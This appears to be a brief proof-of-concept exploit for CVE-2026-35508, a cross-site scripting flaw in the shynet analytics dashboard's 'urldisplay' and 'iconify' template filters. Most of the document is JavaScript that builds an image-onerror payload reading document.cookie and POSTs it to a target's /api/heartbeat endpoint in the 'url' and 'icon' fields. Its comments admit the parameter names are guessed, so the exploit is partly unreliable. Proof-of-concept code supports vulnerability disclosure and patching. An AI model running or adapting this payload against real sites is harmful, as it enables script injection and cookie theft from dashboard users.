PoC for CVE-2026-35508
The vulnerability exists in the 'urldisplay' and 'iconify' template filters.
Injecting a malicious payload into a URL field that is processed by these filters can trigger XSS.
-->
<script>
// Example payload to inject into the vulnerable URL field
// When the shynet dashboard renders this URL using the 'urldisplay' filter, the script executes.
var payload = '"><img src=x onerror=alert(document.cookie)>';
// Simulate sending a request with the malicious payload
fetch('https://target-shynet-domain.com/api/heartbeat', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
// The specific parameter name depends on the implementation, usually 'url' or 'referrer'
"url": payload,
// 'iconify' filter might process icon paths or similar data
"icon": payload
})
}).then(response => console.log('Payload sent'));
